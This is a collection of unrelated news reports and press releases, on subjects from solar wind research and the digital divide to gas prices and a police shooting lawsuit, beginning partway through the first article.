"We can now put a number on how much of the acceleration is provided by the sun's electric field," Halekas says. "It looks like it's a small part of the total. It's not the main thing that gives the solar wind its kick. That then points to other mechanisms that might be giving the solar wind most of its kick."

The paper, "The sunward electron deficit: A telltale sign of the sun's electric potential," was published online July 14 in The Astrophysical Journal.

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Contributing authors include Laura Bercic, from University College London; Phyllis Whittlesey, Davin Larson, Marc Pulupa, and Stuart Bale, from the University of California, Berkeley; Matthieu Berthomier, from the University of Paris-Saclay; Justin Kasper, of the University of Michigan and the Smithsonian Astrophysical Observatory; Anthony Case and Michael Stevens, of the Smithsonian Astrophysical Observatory; and Robert MacDowall, of NASA Goddard Space Flight Center.

NASA funded the research.
COLUMBIA, Mo. -- A new study from the University of Missouri found the unanticipated transitions to virtual schooling due to COVID-19 exposed the lack of digital resources among Black families in the United States, including access to Wi-Fi and technological savviness. As two-thirds of the country's Black children are born into single-parent households, the findings help explain the extensive stress virtual schooling caused for many Black families trying to keep their children learning and engaged online while at home during the pandemic.

"What we found was parents and caregivers often felt disempowered in the rapidly changing environment, as they did not necessarily feel equipped with the tools or technological savviness to effectively engage in their children's education the way they felt they needed to," said Adaobi Anakwe, an MU post-doctoral fellow and the study's lead author. "Schools were sending students home with devices for online learning without first ensuring families had reliable, consistent internet access to utilize those devices, and this was a big contributor to parental stress and burnout."

Anakwe and Wilson Majee, an associate professor in the MU School of Health Professions, interviewed parents and primary caregivers of Black families in Missouri with school-aged children to better understand their experiences suddenly shifting to virtual schooling due to COVID-19.

Anakwe explained the sudden shift to virtual schooling highlighted the digital divide that already existed for many Black families, as a lack of access to reliable internet can have long-term negative impacts on learning and health outcomes.

"The COVID-19 vaccine rollout showcased how important technological resources can be for making an appointment online," Anakwe said. "And the sudden shift from in-person health care visits to telehealth highlights the role technology can play in facilitating access to health care as well as education."

Anakwe added that even before the pandemic, Black families were already disproportionately faced with single-parent households, disparities in income and unequal access to transportation, housing, healthy foods and recreational facilities.

"We already have a cafeteria menu of social determinants of health that impact Black and minority populations," Anakwe said. "We need to be proactive to prevent the digital divide from becoming another issue that gets added on to an already very long list of challenges Black families deal with."

The COVID-19 pandemic also caused an increase in technology use among students, causing some Black parents to worry about the potential impact on their children's mental health.

"Before the pandemic, parents were tasked with minimizing screen time for their kids and ensuring they spent enough time outside engaged in physical activity," Anakwe said. "Then all of a sudden, parents were forced to encourage their children to use technology to stay engaged in their school work while at home. As COVID-19 lockdowns are starting to end, it will be interesting to see how the messaging around screen time evolves."

Majee said MU Extension and the University of Missouri System Broadband Initiative have helped increase access to broadband internet for rural Missourians, but more collaborative partnerships among community leaders, schools, local governments and families are needed to assist underprivileged Black families.

"Technology is becoming increasingly necessary for success in our lives, so this research can help us better understand the technological challenges facing Black families," Majee said. "Our overall goal is to improve the health of Black families by helping our community members who are most disadvantaged - it's a labor of love."

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"Sink or swim: Virtual life challenges among African American families during COVID-19 lockdown" was recently published in the International Journal of Environmental Research and Public Health. This project was done in collaboration with Saint Louis University, where Anakwe completed her doctoral studies.
A consortium of modern slavery experts, led by the University of Nottingham, have assisted the Greek government to tackle a humanitarian crisis unfolding in the strawberry fields of southern Greece.

Using satellite technology to identify migrant settlements - a technique pioneered by the university's Rights Lab - and working with the Greek authorities, the experts then developed a decision model for which they could prioritise victims that were at highest risk.

Leading the study, the Rights Lab combined different data sources and methods to build a set of criteria measuring the extent of labour exploitation in a settlement. The academics then validated these criteria with a government agency and a Non-Governmental Organisation (NGO) involved in fighting labour exploitation.

By combining earth observation data with operations management techniques, this method has been successfully used to address labour exploitation in areas where strawberries are harvested.

This approach is a world-first in the humanitarian sector, with the study, funded by the Economic and Social Research Council (ESRC), being published in the journal of Production and Operations Management.

The strawberry fields of Nea Manolada have been in the human rights spotlight since May 2013, when three local field guards shot and injured 30 Bangladeshi migrant workers. In March 2017, the European Court of Human Rights (ECtHR) ruled that the workers had been subjected to forced labour and that Greece had violated Article 4 of the European Convention on Human Rights by not preventing human trafficking of irregular migrant workers. Following a high-stake ruling by the Court, the Greek government was mandated to ramp-up its fight against labour exploitation.

Dr Ioannis Kougkoulos led the study while at the Rights Lab. He said: "The use of seasonal workers, the relatively low level of skills required, a strong reliance on outsourcing and agent-based recruitment of workers increase the likelihood of labour exploitation. Forced migration caused by crises around the world exacerbates this phenomenon. Refugees and migrants often live-in illegality and experience serious financial distress, which puts them at high risk of becoming victims of labour exploitation.

"Governments are responsible for ensuring equal treatment for migrant and national workers on their territory, and to protect migrants from being employed under substandard working conditions."

Dr Doreen Boyd, a co-author, Rights Lab Associate Director, and Professor of Earth Observation at the University of Nottingham led the ESRC grant that supported this work. She said: "We have demonstrated how remote sensing data enables the identification and location of informal settlements of workers in potential situations of labour exploitation over a large geographic area (140km2). Identifying these settlements from the ground would require driving around the entire study area in search of possible settlements, which would be costly and ineffective, since many settlements are not visible from the road.

"Our approach can be replicated in other labour-intensive agricultural activities where cheap labour is abundant, such as the Italian tomato fields or tobacco-producing regions in Argentina. Future studies could extend our approach to different applications in humanitarian operations, for example, to study migration flows, by combining remote sensing with a decision-making tool such as Multi-Criteria Decision Analysis for identifying and assessing risks of settlements of forcibly displaced persons in highly fluid conflict situations, like the South Sudan or the Democratic Republic of Congo."

In the paper, the researchers report that fighting labour exploitation in the agricultural sector requires time-intensive fieldwork, as it involves visiting suspected farms and informal worker settlements, which governments and humanitarian organisations often lack resources to do.

Using remote sensing, a form of satellite technology, for real-time data collection allowed the academics to overcome one of the major challenges of research in humanitarian operations, namely the difficulty of accessing data due to safety and logistical issues limiting access to the field.

Once areas of potential exploitation had been identified through satellite imagery, these settlements were investigated and verified - known as 'ground-truthing'. On the ground, the inspection teams collected data from each settlement using questionnaires to address all criteria required for the decision analysis model that the academics had prepared.

Next, the academics used Multi-Criteria Decision Analysis (MCDA), a recognised method in the operations sector for decision-making to formalise and address the problem of competing decision objectives - a common characteristic of humanitarian operations.

Each settlement was then ranked, using the MCDA model, to assist the government and humanitarian organisations intervene in the top-priority settlements (starting with the riskiest settlement and moving toward the less risky) and allocate resources to the most vulnerable migrant workers to improve their living conditions.

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The research team involved in this project was Dr Ioannis Kougkoulos (at the Rights Lab during this study, now at LAMSADE-CNRS); Selim Cakir (Rights Lab); Nathan Kunz (University of North Florida); Doreen Boyd (Rights Lab), Alexander Trautrims (Rights Lab); Kornilia Hatzinikolaou (Aristotle University of Thessaloniki); and Stefan Gold (University of Kassel).

More information is available from Professor Doreen Boyd in the Rights Lab at the University of Nottingham at Doreen.Boyd@nottingham.ac.uk or; Katie Andrews in the Press Office at the University of Nottingham at katie.andrews@nottingham.ac.uk or 0115 9515751.
Jacksonville, Fla. - A recent qualitative research study conducted by the University of North Florida, in partnership with Indianan University-Purdue Indianapolis and UF Health Jacksonville, shows that black teenage girls want inclusive body types to be featured in advertising to combat teen obesity rates. Insights provided in the study are ideal for pediatricians and healthcare educators developing advertising and patient care plans to combat obesity among African American teens.

The study investigated social and cultural consequences of food consumption among African American teenage girls between the ages of 14-18 in Jacksonville, Fla., and explored best practices for anti-obesity communication in advertising. The teenagers in the study led active lifestyles and disagreed with traditional advertising that centered on a one-size-fits-all recommendation for weight management among teens like them.

Results from the study indicate preference for an inclusive body type approach that showcases advertising featuring diverse girls of different body types, races, etc., and that messaging should promote healthy lifestyles instead of a specific body-mass index measure. Utilization of social media platforms was recommended as the best communication method for message dissemination.

"Promoting one-size-fits-all messaging is counterproductive and excludes important cultural factors that influence food choice, options and normative beliefs regarding food culture and body genetics," said Dr. Natalie A. Mitchell, UNF marketing professor and principal investigator of the study. "These teenage girls respond best to messages that portray them as curvy and healthy."

Research participants reported struggling to balance their cultural food preference of soul food, often high in fat and sugar, with healthier food options. Results also revealed that the teenage girls preferred "slim thick," curvier body types, which include slim waistlines with shapely bottoms regardless of their petite, thin frames and is considered cultural capital, according to the research team.

"A driving force behind the desire for the Coca-Cola bottle frame commonly seen within the African American community is due to celebrity culture that celebrates such body types," said Mitchell.

Through in-depth interviews and photo elicitation, the girls identified celebrity body types whom they greatly admired and desired. Tiffany Haddish and Tyra Banks were the celebrities most frequently selected. Decisions were based on celebrity curvy frames and their likability.

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A link to the study can be found here.

About University of North Florida
Prof. PAN Jianwei and Prof. ZHANG Jun from University of Science of Technology of China (USTC) of the Chinese Academy of Sciences, collaborating with Prof. CHU Tao's group from Zhejiang University, realized the fastest and miniaturized real-time quantum random number generator (QRNG) with the record-breaking output rate of 18.8 Gbps by combing a state-of-the-art photonic integrated chip with the optimized real-time post processing. The study was published in Applied Physics Letters on June 29.

Random number exists in many fields such as information security and cryptology industries. Different from other random number generators, QRNG, as the key part in quantum communication system, embraces the characteristics of unpredictability, irreproducibility, and unbiasedness.

Density of integration and real-time generating rate are the two key indicators for QRNG. It is hard to realize high density of integration via existing methods.

Prof. PAN and Prof. ZHANG perfected the high-speed quantum generation scheme which extracts randomness from vacuum states, and completed the verification of relevant experiments.

Collaborating with the researchers from Zhejiang University, they produced the photonic integrated chips required by this vacuum state scheme. They butterfly packaged a photonic integrated chip, including an InGaAs homodyne detector and a high-bandwidth transimpedance amplifier (TIA), with a bigger size of 15.6 mm18 mm.

The random number real-time generating rate as well as high density of integration of QRNG has been improved through an optimized real-time post-processing algorithm in a field programmable gate array (FPGA) and hardware implementation.

The system QRNG finally realized the world-beating rate at 18.8 Gbps after passing the transmitting test.

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Hundreds of millions of people live on river deltas around the world, making them central to rich diversity in culture and thriving economies. As deltas face environmental degradation and ongoing climate change, governments have sought ever more drastic measures to prevent flooding and protect society and its infrastructure. But, these policies can harm the natural environment and lead to loss of precious land. Striking a balance between limiting deltaic land loss and maximizing cultural and economic benefit to society is a top priority in sustainability policy.

Researchers at The University of Texas at Austin and Texas Tech University created a novel analysis tool that seeks to protect the millions of people living on urban river deltas, while preserving the environmental and commercial viability of these landscapes. Their study, published recently in Proceedings of the National Academy of Sciences, applies a cost-benefit model to the concept of delta management, for the first time, by examining how to balance the natural function of river deltas with societal desire for landscape stability.

"By restricting river channels on deltas, we have limited the delivery of sediment to the coast where it is needed to sustain land in the face of rising sea level," said Andrew Moodie, lead author of the paper and a National Science Foundation Postdoctoral Research Fellow working in associate professor Paola Passalacqua's lab in the Department of Civil, Architectural and Environmental Engineering in the Cockrell School of Engineering. "The irony here is that by preventing the river from flooding naturally, we have exacerbated land loss, and in the long run, made society more susceptible to catastrophic floods."

In their paper, the researchers note that levees and other flood prevention measures are often placed near the coast because it costs less and minimizes the impact on major population centers. But these downstream locations restrict the natural function of delta land building, which requires sediment to reach the coast.

Moodie's study leverages recent scientific advancements from two highly populated deltas, the Yellow River in China and the Mississippi River, to investigate nature-based solutions that mimic how rivers naturally behave to stop land loss. They analyzed the best location for channel diversions, which are engineered structures that create new pathways for rivers to flow through. Finding the right placement required balancing the benefits of diversions in terms of land building, with the cost of the structure. The balance of costs and benefits will vary with every delta, so there is no one catchall answer. However, the framework can be applied to a variety of systems worldwide.

The analysis found that to maximize the efficacy of diversions, structures need to be placed farther upstream than existing designs and structures, which are often away from population centers and near the coast. The tradeoff with building diversions upstream is that it usually costs more and is more likely to displace people.

"A lot of studies have said that society, in particular major cities like New Orleans, is doomed, and that engineering efforts leveraging nature-based solutions can't coexist with large population centers," Moodie said. "What we've shown with our optimizable framework is that having cities nearby actually makes it even easier to justify doing these large projects, because they protect communities."

Moodie started this work as part of his Ph.D. studies while at Rice University. His dissertation explored the impacts of river channel avulsions on deltas -- a process by which a channel abruptly abandons its course in favor of a new pathway to the sea.

"Avulsions are quite similar to diversions that humans are trying to implement on river deltas, for the sake of nourishing the landscape," Moodie said.

Focusing on the Yellow River delta of China, Moodie recognized an unaddressed problem: a lack of research integrating geomorphology and hydrology with economics, when considering how to manage deltas with diversions.

"We as humans want stability; we want stable landscapes we can count on year after year to provide ecosystem services such as fisheries, growing beds for oysters and more," Moodie said. "All these things are impacted by natural avulsions, and if we effectively harness this behavior, we can sway the scale to better the chances of sustaining deltas and the people and cultures that exist there."

###
Weezmo's Solution Connects the Online Customer Journey with In-Store Purchases

HERZLIYA, Israel, July 14, 2021 /PRNewswire/ -- Nayax Ltd. (TASE: NYAX), the leading cashless solution provider, announced today the acquisition of Weezmo, a technology start-up focused on connecting the online customer journey with in-store purchases, generating improved customer experience and increased sales for merchants. With the help of Weezmo technology, companies can link their online marketing efforts to physical purchases at points of sale. This tracks the complete purchasing process, while measuring the impact of digital advertising on all online and offline sales. Using artificial intelligence, Weezmo customers gain a better understanding of consumers and campaign effectiveness, leading to increasing sales. This all results in significant increases in ROI, thanks to the ability to link all the information from the store to consumer behaviour online and translate business insights into practical execution. The digital receipt itself is an engaging experience for the consumer, containing customized sales offers, games, feedback, video and more.

Weezmo's customers are based in Israel and throughout the world, and include such well-known brands as Super-Pharm, Office Depot, McDonald's, IKEA, H&O, Mahsanei Hashmal, Factory 54, Pizza Hut and H&M. With Nayax established and selling in over 65 countries, the goal is to continue expanding Weezmo activity significantly into markets around the globe. These customers have enjoyed the results yielded by integrating Weezmo's technology into their customer journey map. Client companies are seeing improved customer ordering while happily reducing waste to shrink their environmental footprint.

"As part of our strategic process aimed at creating a personal and relevant customer experience, and in line with H&M's sustainability agenda, we chose to implement the Weezmo platform in the H&M Group's brands in Israel," says Ronit Gottfried-Nissani, VP of Marketing for the H&M Group. "The flexibility and advanced tools allowed us to improve the customer experience and see business growth."

Weezmo was founded in 2015 by Shai Raiten and Sasha Glazman, programmers whose professional paths crossed several times over the years. While the initial idea for Weezmo was to address the problem of paper receipts and their impact on the environment, over time, the concept grew into its current incarnation.

"We are very excited to join Nayax," says Shai Raiten, CEO of Weezmo. "Weezmo is a complementary solution to Nayax's advanced payment service and is therefore an ideal partner to fulfill all of Weezmo's capabilities: a one-stop shop solution for retailers that allows them to accurately measure technology. Nayax's investment and global presence will enable Weezmo to reach new markets."

"As Nayax expands into other markets and provides solutions to attended and semi-attended markets, we see the acquisition of Weezmo as an exciting technology solution to offer retailers, which dovetails perfectly with our existing portfolio of products and solutions," comments Yair Nechmad, CEO, Nayax. "Shai Raiten and Sasha Glazman have developed a deceptively easy-to-use solution that promises to revolutionize the way businesses approach their online marketing of in-store purchases, and we're excited to see the results."

About Nayax Nayax is a global retail enablement platform designed to help merchants scale their business. Nayax offers a complete solution including localized cashless payment acceptance, telemetry, software management suite, and consumer engagement tools, enabling merchants to conduct commerce anywhere, at any time. What began as an unattended retail solution has transformed into a comprehensive solution focused on our customers' growth. Today, Nayax has 10 global offices, over 400 employees, connections to more than 80 payment providers and integrations, and is a recognized payment institution worldwide. As a global company, Nayax's goal is to improve our customers' sales and operational efficiency. Visit www.nayax.com for more information.

Forward looking statement The information included in this press release contains, or may be deemed to contain, forward-looking statements (as defined in the U.S. Private Securities Litigation Reform Act of 1995 and the Israeli Securities Law, 1968). Said forward-looking statements are subject to uncertainties and assumptions and the actual results may materially differ. All forward-looking statements in this press release are based on information available to Nayax on the date hereof. All written or oral forward-looking statements attributable to Nayax are expressly qualified in their entirety by the factors referred to above. Nayax does not intend to update these forward-looking statements

Investor Relations Contact: Miri Segal MS-IR LLC ir@nayax.comTel: +1-917-607-8654

Media Relations Contact:Lisa Appelsonlisa@nayax.com

Logo - https://mma.prnewswire.com/media/1522055/Nayax_Logo.jpg
The classroom can be a dizzying and overwhelming place for a child or teen with attention deficit hyperactivity disorder (ADHD). All the sensory overload  background noises, talkative classmates, lecturing teachers  is practically constant, which can make it hard for kids with ADHD to stay focused, follow instructions, and complete assignments.

As one student with ADHD told Jamie Mazza, a professional clinical counselor and psychotherapist, the condition can feel like marbles rolling around in the head.

Given these circumstances, you may wonder how your child can be mentally, physically, and emotionally able to succeed at school.

Its true that academics can be hard for children with ADHD  and parents who want to help. Research published in September 2020 in the journal Clinical Pediatrics found that children with ADHD tended to have poorer school performance than students who didnt have ADHD. That said, kids with ADHD can succeed in school, particularly with a strong support team that includes their parents and teachers as well as their pediatrician, school counselor, psychiatrist, and therapist.

Here are seven ways Mazza, who has worked with children who have ADHD for years at her private practice in Cincinnati, says parents can help ensure their child succeeds in school.

1. See what rules and laws apply in your state. Among the first steps to take is to find out how your school system is legally bound to accommodate children who have ADHD and then Make the request, says Mazza. Your child may be eligible for a plan under one of two laws: the Individuals With Disabilities Act (IDEA) or Section 504 of the Rehabilitation Act of 1973. According to the Centers for Disease Control and Prevention (CDC), schools may offer special education services, behavioral management or organizational training, and accommodations to help with learning. Make it a practice to keep checking resources like the CDC, since the rules have a tendency to change, says Mazza.

2. Talk to the teacher about your childs personality and temperament. Not all kids who have an ADHD diagnosis fit the same mold or respond to the same guidance. Even though something like a checklist might work for one child, it might not for another, Mazza says. Every child is different, which means a cookie-cutter approach wont work.

For some kids, the biggest hurdle is controlling their bodies in an environment that rewards sitting for long stretches of time. For others, the primary struggle is to filter out distracting sounds and activities as they strain to lock in on a math problem, a science experiment, or a test question that demands sustained attention and focus. Many high-IQ kids with ADHD have racing thoughts and ideas that whiz ahead of what the teacher is sharing. This can lead to frustration and even despair as the other students in the class stay stubbornly fixed on a slow sequence of information gathering. All these challenges demand tweaks to the school setting and teaching approaches.

3. Ask for accommodations that fit your childs learning style. Once your team has determined what will help your child advance academically, ensure the school puts accommodations in place to help lessons stick for your child. For example, the way that new information is presented can make a difference.

For some students, audio, video, or digital materials can be more engaging and effective than textbooks. Others benefit from having books or test questions read to them. And others thrive when theyre able to complete assignments verbally rather than in written form or offered a computer to type responses.

Consider timing an accommodation, too: Ask if your child can take more frequent breaks, have a few extra minutes to complete tasks, or take tests at specific times of the day.

4. Focus on the physical environment. Where the child sits in the classroom can be a make-or-break detail in the ADHD students school experience. There are ways to place children in a classroom so their physical environment allows them to pay attention, Mazza notes. Maybe they need to be at the front, or maybe they need to be at a table with only three other children. The arrangement of the room is really important.

Consider environment during exams as well: Can a test be taken in a quiet room? In a small group setting? While using exercise chair bands or other sensory tools for active legs or hands?

Similarly, its important to make sure your childs study space at home is relatively distraction free. Close email, switch off social media, and turn off any phone or other notifications during study time.

5. Work out a system for regular care team dialogue. Youll want to monitor how things are going in the classroom, but that can leave you walking a fine line between under- and overinvolvement. Setting up a communication system in advance can benefit everyone involved.

You dont need to be a helicopter parent, monitoring everything thats going on, but setting up regular parent-teacher communication can help keep kids on track, Mazza says, adding that more than ever, teachers are open to communicating with pediatricians, therapists, psychiatrists  the whole care team.

ADHD is usually spotted by a pediatrician or teacher, says Mazza. Increasingly, educators are also recognizing the coexistence of other conditions (called comorbidities), such as anxiety, depression, and obsessive-compulsive disorder (OCD), that may develop over time, which is why its a good idea for the care team to stay in touch and discuss ongoing treatment strategies.

6. Get organized at home. Organizational skills are a problem for a lot of people, but theyre an even bigger stumbling block for those who have ADHD. Experiment at home to find the best way to keep your child organized and accountable  for example, using checklists or charts  and collaborate with the teacher to translate that system into the school setting.

The communication between the teacher and parent is really important, Mazza says. Kids cant really [get organized] on their own. Someone has to teach them those skills.

For younger children, a big part of the organizing process will rest with the teacher, who will need to assist students who have ADHD in keeping track of day-to-day activities.

Organization is also crucial for getting homework completed on time, which involves the student noting whats been assigned, bringing home key materials, planning and pacing themselves to complete the work, and staying focused long enough to finish it up  and hand it back in! According to research published in 2016 in the Journal of School Psychology, homework assignment completion is a critical intervention for middle schoolers to ensure ongoing success.

7. Develop tools to ease transitions. Certain times of the school day can be tougher than others for kids with ADHD  particularly transitions, such as moving from class to class or from one activity to another. If we can predict that there could be trouble when we go from the gym back to the classroom, we can handle the physical and emotional management of the situation by doing things like putting the child at the head of the line, Mazza says. This way the child can focus on moving from place to place, rather than getting distracted by what classmates to the left or right are doing.

Receiving lesson plans in advance and reviewing them with your child is another strategy that can help.

Ultimately, for children to be successful in school, theyll need to be able to control their bodies, feelings, thoughts, and more, from the start of the school day until the end. Kids with ADHD can absolutely pull it off, Mazza says. The old myth that children with ADHD arent going to be able to learn isnt true, says Mazza. A host of tools, strategies, and team involvement can make a critical difference.

Just stay alert, she advises. Make it a practice to revisit your childs diagnosis from time to time, as you would with regular physical checkups. In addition to talking to your team of experts, Mazza says, Check in with your child with ADHD about how they feel and how things are going.


A public health official says Nigeria will resume vaccinations with shots donated by COVAX and the United States, after exhausting its supply of doses last week.
A Denver developer has dropped a federal lawsuit that sought to stop San Antonios GrayStreet Partners from selling land across from the Pearl on Broadway.

McWhinney Real Estate Services Inc. provided no details in a dismissal notice filed Tuesday in U.S. District Court in San Antonio.

GrayStreet Partners had not filed an answer to the May 21 lawsuit.

In the complaint, McWhinney alleged it had a right of first refusal to buy the land and that GrayStreet breached an Expression of Interest Agreement they had by pursuing a sale with San Antonios Fulcrum Development.

On ExpressNews.com: Denver company sues San Antonios GrayStreet to stop sale of property across from the Pearl

Earlier this year, GrayStreet put up for sale 14.7 acres of the roughly 20-acre site. The parcels stretch from Broadway past North Hackberry Street between Casa Blanca and Carson streets. Its not clear how much land McWhinney wanted to buy.

Before listing the land for sale, GrayStreet planned to team up with Houston-based Midway Holdings to turn the 20 acres into a 1.6-million-square-foot mixed-used community with multifamily housing, offices, retail and hospitality space, and an outdoor plaza.

The $560.8 million development, dubbed Broadway East, was expected to take about a decade to complete.

McWhinney said that under its Jan. 15 agreement with GrayStreet, the two would form a new special purpose entity for the purposes of recapitalizing current ownership of the property, the suit said.

But McWhinney alleged GrayStreet entered into six separate purchase agreements with Fulcrum on April 19. McWhinney added it never had the opportunity to exercise its right of first refusal.

On ExpressNews.com: Lone Star Brewery development partners GrayStreet, Midway fighting in court over Broadway property

In a May 18 letter to McWhinney attached to its lawsuit, GrayStreet attorney Charles Murray said McWhinney's right of first refusal had expired by April 16.

Attorneys for McWhinney and GrayStreet didnt immediately respond to a request for comment Wednesday.

Meanwhile, GrayStreet has yet to file a response to a lawsuit filed by Midway on June 18 in state District Court in San Antonio. Midway alleges it also had a right of first refusal on the Broadway East land.

Separately, GrayStreet and Midway have teamed up to redevelop the former Lone Star Brewery site on the South Side.

pdanner@express-news.net
While city-owned CPS Energy challenges $700 million in natural gas bills from Februarys historic winter storm, lawmakers and regulators have largely remained silent on whether gas suppliers illegally raised prices  and why gas was so scarce when it was badly needed.

According to a report published Tuesday by energy researchers at the University of Texas at Austin, the fault lies with producers that failed to adequately weatherize before the deep freeze hit.

And, a researcher said, the markets failure to serve utilities and ratepayers suggests its time for another look at the states rules.

The researchers examined how 27 natural gas facilities functioned during the storm and found 18 of them were unable to produce gas in the midst of the freeze.

As a result, natural gas production in Texas fell by 85 percent ahead of Februarys deadly winter storm. As the freeze took hold, equipment and pipelines seized up, exacerbating the supply shortage, the researchers found.

The report, which was funded by the Public Utility Commission of Texas, sought to provide a timeline of the winter storm and used previously confidential data to detail how the disaster unfolded.

This decline (in production) is likely due to weather-related factors and not a loss of power at natural gas facilities, the authors wrote.

Beginning Feb. 9, gas suppliers began rapidly drawing down reserves from Texas 40 natural gas storage sites, the research showed. By Feb. 18, less than 10 percent of the states gas storage remained and prices had soared.

CPS Energy said the price per unit of gas it was charged by suppliers climbed from about $3 prior to the storm to $400.

This drawdown of storage before February 14 contributed to the lack of natural gas supply going into the coldest parts of the storm and to the historically high natural gas prices, the UT researchers wrote.

On ExpressNews.com: CPS Energy says natural gas suppliers it sued over winter storm pricing now playing 'hardball'

Some CPS suppliers, such as BP and Energy Transfer, have reported making billions of dollars in profits during the storm.

John Davenport, STAFF / San Antonio Express-News

The Federal Energy Regulatory Commission, which regulates the interstate sale of electricity and natural gas, said in February it was investigating gas prices during the storm period to determine if any market participants engaged in market manipulation or other violations.

Industry analysts have said natural gas suppliers could have manipulated the market by withholding gas that was contracted to sell at one price, then selling the gas at a much higher price to another customer when supply was scarce.

Evidence of wrongdoing would prompt a non-public investigation by FERC. A spokesman declined to comment on the inquiry Tuesday, nearly five months since the commission began looking at prices during the storm.

Vistra Corp., an investor-owned utility that serves many of Texas residential customers, accused gas supplier Koch Energy Services of unjust enrichment by selling gas to others at higher prices rather than fulfilling their contract obligations to us, in the companys most recent quarterly earnings report.

CPS Energy has also sued Koch Energy for allegedly price gouging the utility. Koch did not immediately respond to a request for comment.

State lawmakers passed bills during the recent legislative session to require operators of natural gas facilities and power plants to better weatherize their equipment.

They also created a circuit breaker for the wholesale electricity market in Texas to lower power prices if theyve been at the maximum for 12 hours in one day. CPS Energy has argued that the Public Utility Commission of Texas set the price of electricity at the maximum $9,000 per megawatt hour price for 32 hours too long, costing CPS and other utilities billions.

There is no maximum price for natural gas, however. Policymakers have avoided setting a price limit for the commodity after price controls caused supply shortages in the late 1970s.

There is no reason for me to believe that we need to let natural gas producers sell natural gas for more than 100 times normal prices in an emergency, said Carey King, a researcher and assistant director of the Energy Institute at UT.

On ExpressNews.com: CPS Energy says it's carrying out some of storm report's recommendations

Neither Republican Sen. John Cornyn nor Democratic Rep. Joaquin Castro responded to questions about whether federal lawmakers could prevent future runaway natural gas prices.

King said his group didnt examine whether natural gas suppliers engaged in price gouging.

But gas prices rising exponentially during the storm didnt lead to more production or supply, he said. Rather, it created a lot of financial transactions that didnt have to exist at that magnitude.

After seeing Texas energy market rules result in gas suppliers reaping windfalls at the expense of utilities and ratepayers, it may be time to take a new look at the rules, King said.

There is no physical or practical reason why we have to let the price fluctuate so rapidly, as it didnt really serve citizens better, he said. Markets are a human creation, and if they dont serve the public well, particularly in emergencies, then we dont have to use them.

diego.mendoza-moyers@express-news.net
Are Texans nice? Not really, according to a new study.

The Lone Star state, with its reputation for friendliness, has been crowned one of the least kind states in the U.S., according to Kindness.org, a nonprofit whose mission is to educate and inspire people to choose kindness."

The study, commissioned by Verizon Wireless, ranked all 50 states from the most to the least kind.

Texas ranked 42.

Kinder than only: Michigan, Nevada, Massachusetts, Oregon, Florida, Arizona, Kansas and Maryland.

On ExpressNews.com: Texas is a great state for a road trip, according to WalletHub. Here are the places you can visit.

Researchers surveyed thousands of people from all states and backgrounds on what acts of kindness they would be willing to do  and the results for Texas were fairly negative across the board.

According to respondents, Texans were less likely to become an organ donor for a family member, pull a stranger from a burning car, or adopt and raise a family member or call up a friend to encourage them.



This might come as a surprise to some.



Texas comes from the Caddo Native American word for friends. Crossing the state border, drivers are welcomed to Texas by a giant road sign that says Drive Friendly  the Texas Way.



The study might also seem contrary to what other businesses, travel blogs and publications have said about Texas.

On ExpressNews.com: Company to build nearly 1,900-acre community along booming I-35 corridor



Just two years ago Texas ranked fourth in the country for being one of the friendliest.



Big 7, an international travel blog, said Texas enthusiastic locals and greetings of Howdy! everywhere you go have surely helped it secure its place among the friendliest states in America. Its large cities are boosted with small town vibes from locals, who will welcome you with open arms.



According to Kindness.org, the kindest states are Kentucky, New Mexico, Oklahoma, Georgia and North Dakota, respectively.



Oliver Scott Curry, the research director for Kindness.org, said that Texans (and residents from other states) all reported a surprisingly high capacity for kindness, and the results for all the states were very close  there was only a few percentage points in it.



If you want to know, Texas scored 72.69 percent on the researchers scoring system. Nearby New Mexico and Oklahoma scored 77.55 percent and 76.94 percent, respectively.



Do not be dismayed, Curry said. This also means that there is all to play for during next years survey.



The study was part of Verizons A Call for Kindness campaign, an effort launched in November 2020 to encourage people to be kinder in their day-to-day lives. #ACallForKindess hopes to shine a spotlight on the impact all good deeds make, no matter how small.

timothy.fanning@express-news.net
The family of an unarmed Black man who was fatally shot by sheriff's deputies in North Carolina says he died because of the officers' intentional and reckless disregard of his life, according to a $30 million civil rights lawsuit filed Wednesday.

Andrew Brown Jr. was killed April 21 by Pasquotank County Sheriffs deputies while they were serving drug-related warrants at his Elizabeth City home.

Several deputies surrounded Brown in his BMW before his car backed up and moved forward. They fired several shots at and into his vehicle. He was killed by a bullet to the back of his head.

Lawyers for the Brown family said the shooting was unjustified because Brown was trying to drive away  not toward the deputies.

This lawsuit was easy to draft because of the facts in this case, attorney Harry Daniels told reporters at a news conference. Anybody can see that this was an unlawful killing.

The filing is the latest in a string of federal civil rights lawsuits in the wake of high-profile police shootings of Black and brown people. Many have ended in settlements that often include money but specify there was no admission of guilt. Some end up in court where a jury can award massive settlements that are whittled down on appeal.

Gerry Broome/AP

The family of George Floyd, who was killed in Minneapolis police custody last year, agreed to a $27 million settlement in March. In September, the city of Louisville, Kentucky, agreed to pay Breonna Taylors family $12 million and reform police practices.

The lawsuit in North Carolina was filed in a U.S. District Court by Browns paternal aunt, Lillie Brown Clark, who is the administrator for his estate. The suit says the 42-year-old Brown was the father of seven children.

Defendants include Pasquotank County Sheriff Tommy Wooten II and several deputies. Maj. Aaron Wallio told The Associated Press in an email that Wooten's office has no comments on the lawsuit.

Attorneys for Brown's family have repeatedly said that he posed no threat. Authorities have said he was using his car as a deadly weapon" and caused deputies to believe it was necessary to use deadly force.

District Attorney Andrew Womble cleared the deputies in May. He said they were justified because Brown had struck a deputy with his car and nearly ran him over while ignoring commands to show his hands and get out of the vehicle.

The federal lawsuit is the latest fallout from the shooting, which has sent shockwaves through the small city in northeastern North Carolina.

Residents say they have gathered in protest for the past 85 days. One of the deputies who fired his gun at Brown's car has resigned. The FBI also launched a civil rights investigation into the death.

The shooting has also drawn scrutiny from outside law enforcement observers who say officers should not shoot at a vehicle when there is no other deadly threat besides the car.

Daniels, the Brown family attorney, said the lawsuit will prevail based on decisions made in the federal 4th Circuit Court of Appeals, which covers North Carolina. He cited a ruling against police officers in South Carolina who continued to shoot at a man after his car had driven by them.

They had no authority to shoot him, Daniels said.

But Candace McCoy, a professor at John Jay College of Criminal Justice, questioned whether the Brown lawsuit would produce a large settlement or jury award.

You could make a good case that, in this particular instance, somebodys life was in danger, McCoy said.

She added that the Floyd and Taylor cases were light years different from the Brown case in terms of police misconduct.

But McCoy said the overall effect of these civil rights lawsuits has led to more training and better practices. The lawsuits stem from a 1980 U.S. Supreme Court decision that allows people to sue departments over alleged constitutional violations.

The effect of these lawsuits has been really important in reducing police use of force nationwide over the last 40 years, she said.
